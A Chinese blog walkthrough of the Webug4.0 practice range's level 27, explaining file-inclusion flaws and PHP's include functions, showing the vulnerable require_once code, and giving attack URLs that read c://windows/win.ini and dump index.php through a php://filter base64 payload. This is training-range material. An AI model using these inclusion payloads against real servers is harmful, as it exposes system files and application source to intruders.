Webug4.0靶场通关笔记22- 第27关文件包含

目录

一、文件包含

1、原理分析

2、文件包含函数

(1)include( )

(2)include_once( )

(3)require( )

(4)require_once( )

二、第27关渗透实战

1、打开靶场

2、源码分析

3、渗透实战

(1)查看敏感信息

(2)查看源码


本文通过《webug4靶场第27关 文件包含》来进行文件包含攻击渗透实战。

一、文件包含

1、原理分析

文件包含漏 洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。这是因为Web应用在开发的过程中允许包含外部文件,如 PHP 中的include()、require()等函数,当这些函数使用用户可控的参数来指定包含的文件路径时,如果应用程序没有对用户输入进行充分的验证和过滤,就可能导致文件包含攻击。攻击者通过构造恶意的文件路径,使得通过文件包含攻击执行恶意文件,从而达到执行任意代码、获取敏感信息等目的。

  • 当被包含的文件在服务器本地时,就形成的本地文件包含。
  • 当被包含的文件在远程服务器时,就形成的远程文件包含。

2、文件包含函数

PHP中提供了四个文件包含的函数

(1)include( )

include() 当代码执行到include()函数时才将文件包含进行,发生错误时会给出一个告警,程序继续往下执行。

(2)include_once( )

include_once() 功能与include()相同,区别在于当重复调用一个文件时,程序只调用一次。

(3)require( )

require() 与include()函数区别在于require()执行如果发生错误,函数会输出错误信息,并终止程序运行。

(4)require_once( )

require_once() 功能与require()相同,区别在于当重复调用同一个文件时,程序只调用一次。

二、第27关渗透实战

1、打开靶场

本关卡与前面的任意文件下载类似,都是对文件名没有进行过滤,如下所示打开靶场第27关。

http://192.168.71.1/webug4/control/more/file_include.php?filename=../../template/dom_xss.html

2、源码分析

查看webug靶场第27关的index.php源码,如下所示对filename参数没进行任何过滤,存在require_once函数对filename的调用,故而具有文件包含风险,很明显产生的根本原因是源码对用户GET型输入参数filename的信任度过高,没有对包含文件的路径进行严格的验证和过滤,导致攻击者能够操纵文件包含过程,实现恶意目的。

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["filename"])) {if (!empty($_GET["filename"])) {$path = $_GET['filename'];require_once $path;}
}

3、渗透实战

(1)查看敏感信息

通过使用如下命令查看敏感文件。

?filename=c://windows/win.ini

完整的URL地址如下所示。 

http://192.168.71.1/webug4/control/more/file_include.php?filename=c://windows/win.ini

(2)查看源码

使用php://filter/read=convert.base64-encode/resource=伪协议进行渗透,注入语句如下所示。

filename=php://filter/read=convert.base64-encode/resource=../../index.php

完整的URL如下所示。 

http://192.168.71.1/webug4/control/more/file_include.php?filename=php://filter/read=convert.base64-encode/resource=../../index.php

获取到的base64编码为

PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCg0KDQoyMTo1Mg0KICovDQpyZXF1aXJlX29uY2UgImNvbW1vbi9jb21tb24ucGhwIjsNCg0KDQppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7DQogICAgaGVhZGVyKCJMb2NhdGlvbjouL2NvbnRyb2wvd2VfYnVnX2Vudi5waHAiKTsNCn0gZWxzZXsNCiAgICBoZWFkZXIoIkxvY2F0aW9uOi4vY29udHJvbC9sb2dpbi5waHAiKTsNCn0=

接下来进行base64解码,可以使用base64在线解码工具

Base64 在线编码解码 | Base64 加密解密 - Base64.us

解码后的结果如下所示,成功获取到index.php网站的源码。

<?php
/*** Created by PhpStorm.21:52*/
require_once "common/common.php";if (isset($_SESSION['user'])) {header("Location:./control/we_bug_env.php");
} else{header("Location:./control/login.php");
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/80173.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/80173.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

〖 Linux 〗解决 VS Code 远程连接服务器的常见问题

文章目录 解决 VS Code 远程连接服务器的断开问题VS Code Remote-SSH一直弹出输入密码的问题VsCode C 语法检测失效不标红色波浪线 解决办法卸载扩展方式&#xff1a; 解决vscode C智能提示缓慢 解决 VS Code 远程连接服务器的断开问题 解决 vscode 卡顿&#xff0c;卡死&…

ERC-20与ERC-721:区块链代币标准的双星解析

一、代币标准的诞生背景 在以太坊生态中&#xff0c;代币标准是构建去中心化应用&#xff08;DApps&#xff09;的基石。ERC-20与ERC-721分别代表同质化与非同质化代币的两大核心标准&#xff0c;前者支撑着90%以上的加密资产流通&#xff0c;后者则开启了数字资产唯一性的新时…

C++入门小馆 :多态

嘿&#xff0c;各位技术潮人&#xff01;好久不见甚是想念。生活就像一场奇妙冒险&#xff0c;而编程就是那把超酷的万能钥匙。此刻&#xff0c;阳光洒在键盘上&#xff0c;灵感在指尖跳跃&#xff0c;让我们抛开一切束缚&#xff0c;给平淡日子加点料&#xff0c;注入满满的pa…

【NextPilot日志移植】整体功能概要

整体日志系统的实现功能 该日志系统主要实现了飞行日志的记录功能&#xff0c;支持多种日志记录模式&#xff0c;可将日志存储到文件或通过 MAVLink 协议传输&#xff0c;同时具备日志加密、空间管理、事件记录等功能。具体如下&#xff1a; 日志记录模式&#xff1a;支持按武…

数字化转型:概念性名词浅谈(第二十五讲)

大家好&#xff0c;今天接着介绍数字化转型的概念性名词系列。 &#xff08;1&#xff09;SOP(标准作业程序) 标准作业程序&#xff08;Standard Operating Procedure, SOPs&#xff09;是在有限时间与资源内&#xff0c;为了执行复杂的日常事务所设计的内部程序。从管理学的…

交叉编译 opencv-4.10

编译说明 opencv 下包含很多模块&#xff0c;各个模块的作用可以参考Opencv—模块概览. 嵌入式考虑有限存储等因素会对模块进行裁剪&#xff0c;我这里主要保留图像拼接&#xff08;stitching&#xff09;图片编解码&#xff08;imgcodecs&#xff09;与特征点匹配&#xff08…

Python cv2对象检测与跟踪:从基础到进阶实战

在计算机视觉领域&#xff0c;对象检测&#xff08;定位目标位置&#xff09;与对象跟踪&#xff08;持续追踪目标运动&#xff09;是视频分析、自动驾驶、智能监控等应用的核心技术。本文将结合OpenCV的cv2库&#xff0c;系统讲解其原理与Python实现方法。 一、对象检测 vs 对…

亚马逊推出新型仓储机器人 Vulcan:具备“触觉”但不会取代人类工人

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

缓存套餐-03.功能测试

一.功能测试 点击小程序&#xff0c;就会触发根据分类id查询套餐方法&#xff0c;根据分类id查询套餐。 第一次查询&#xff0c;redis中没有数据&#xff0c;就会发sql进行sql数据库查询。 redis当中就有了对应的缓存。 再次点击&#xff0c;发现sql根本没有执行&#xff0c;…

WebFlux与HttpStreamable关系解析

1-Streamable 1-WebFlux与HttpStreamable关系解析2-MCP协议Streamable HTTP 2-参考网址 MCP协议Streamable HTTPMCP协议重大升级&#xff0c;Spring AI Alibaba联合Higress发布业界首个Streamable HTTP实现方案 3-WebFlux与HttpStreamable关系解析 WebFlux 和 HttpStreamabl…

顺丰科技:从 Presto 到 Doris 湖仓构架升级,提速 3 倍,降本 48%

导读&#xff1a;顺丰科技引入 Doris 替换 Presto&#xff0c;在内部可视化数据自助分析工具丰景台场景广泛应用。目前&#xff0c;顺丰临时查询业务、丰景台报表业务的 Presto 场景已经 100% 切换到 Doris 集群中&#xff0c;日均查询量 100W。并实现 P95 性能提升近 3 倍&…

如何在Jmeter中调用C程序?

在JMeter中调用C语言程序可以通过以下几种方式实现&#xff1a; 方法一&#xff1a;使用OS Process Sampler JMeter的“OS Process Sampler”可以用来调用外部程序&#xff0c;包括C语言编写的可执行文件。 步骤&#xff1a; 准备C语言程序&#xff1a; 编写C语言代码并编译…

python 中的单例

在 Python 里&#xff0c;单例模式指的是一个类仅有一个实例&#xff0c;并且提供一个全局访问点来获取该实例。下面为你介绍几种实现单例模式的常见方法。 1. 使用模块 在 Python 里&#xff0c;模块天然就是单例模式。当模块被导入时&#xff0c;Python 会对其进行一次加载…

Linux58 ssh服务配置 jumpserver 测试双网卡 为何不能ping通ip地址

判断为NAT模式网卡 能ping 通外网 ens34为仅主机模式网卡 [rootlocalhost network-scripts]# ip route show default default via 10.1.1.254 dev ens33 proto static metric 100 10.0.0.0/8 dev ens33 proto kernel scope link src 10.1.1.37 metric 100 11.0.0.0/8 dev…

web 自动化之 selenium+webdriver 环境搭建及原理讲解

文章目录 一、web 自动化测试学习说明二、什么 web 自动化测试三、selenium 简介四、web自动化测试环境搭建五、web 自动化测试第一个脚本六、selenium 原理及源码讲解 一、web 自动化测试学习说明 进阶 web 自动化测试学习&#xff1a;掌握 python 编程基础 二、什么 web 自…

Linux 网络命名空间:从内核资源管理到容器网络隔离

1. 网络命名空间是什么? 网络命名空间(Network Namespace) 是 Linux 内核提供的一种网络资源隔离机制,用于为进程或容器创建完全独立的网络环境。它并非物理或虚拟的网络接口(如网卡、veth pair 等),而是一个虚拟容器,包含以下资源的独立实例: 网络接口(物理或虚拟)…

SQL知识点总结

总结的知识点主要来源于前段时间在牛客刷SQL题目中遇到的错误 目录 1.WHERE字句不能与高级函数连用 2.去重——distinct 3.不等于某个值 4.查多个范围内的值 5. 升/降序排序 6.占位符 7.统计某类别总数计算平均值 8.合并查询——UNION &#xff08;ALL&#xff09; 9…

【软考-高级】【信息系统项目管理师】【论文基础】采购管理过程输入输出及工具技术的使用方法

采购管理概念 项目采购管理包括从项目团队外部采购或获取所需产品、服务或成果的各个过程。项目采购管理包括编制和管理协议所需的管理和控制过程&#xff0c;例如合同、订购单、协议备忘录&#xff08;MOA&#xff09;和服务水平协议&#xff08;SLA&#xff09;。 采购管理…

C++ 手写一个内存池

内存池是一种内存管理技术&#xff0c;它预先分配一大块内存&#xff0c;之后将其按需分割成多个小块供程序使用。下面将详细阐述它的好处以及适用场景。 内存池的好处 减少内存碎片&#xff1a;在动态内存分配时&#xff0c;频繁地分配和释放不同大小的内存块&#xff0c;会…

LeetCode 3341.到达最后一个房间的最少时间 I:Dijkstra算法(类似深搜)-简短清晰的话描述

【LetMeFly】3341.到达最后一个房间的最少时间 I&#xff1a;Dijkstra算法&#xff08;类似深搜&#xff09;-简短清晰的话描述 力扣题目链接&#xff1a;https://leetcode.cn/problems/find-minimum-time-to-reach-last-room-i/ 有一个地窖&#xff0c;地窖中有 n x m 个房间…